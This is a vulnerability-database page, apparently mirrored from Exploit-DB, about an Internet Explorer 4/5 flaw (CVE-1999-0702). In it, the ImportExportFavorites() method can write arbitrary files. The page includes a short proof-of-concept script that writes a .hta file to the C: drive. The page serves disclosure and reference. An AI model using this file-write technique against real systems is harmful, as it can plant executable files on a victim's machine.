Lucene search
+L

Microsoft Internet Explorer 4.0.1/5 - Import/Export Favorites

🗓️ 10 Sep 1999 00:00:00Reported by Georgi GuninskiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Import/Export Favorites method in Internet Explorer can exploit file writing vulnerabilities.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-1999-0702
26 Apr 202612:02
circl
cve
CVE
CVE-1999-0702
4 Jan 200005:00
cve
cvelist
Cvelist
CVE-1999-0702
4 Jan 200005:00
cvelist
nvd
NVD
CVE-1999-0702
10 Sep 199904:00
nvd
redhatcve
RedhatCVE
CVE-1999-0702
7 Jan 202609:42
redhatcve
cert
CERT
Wang/Kodak Image Annotation ActiveX Control
31 Oct 200000:00
cert
cert
CERT
Wang/Kodak Image Thumbnail ActiveX Control
31 Oct 200000:00
cert
cert
CERT
Wang/Kodak Image Admin ActiveX Control
31 Oct 200000:00
cert
cert
CERT
HHOpen ActiveX Control buffer overflow in OpenHelp method
31 Oct 200000:00
cert
cert
CERT
SetupCtl 1.0 Type Library contains a buffer overflow
1 Oct 200200:00
cert
Rows per page
Microsoft Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 Import/Export Favorites Vulnerability

source: https://www.securityfocus.com/bid/627/info

The ImportExportFavorites() method, used to import and export favorites to/from a file in IE5, can be made to write to any file on the system, in some cases from an email or remote webpage.

This will create a file in the root of C: containing the user's favorites.
<SCRIPT>
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.24429
25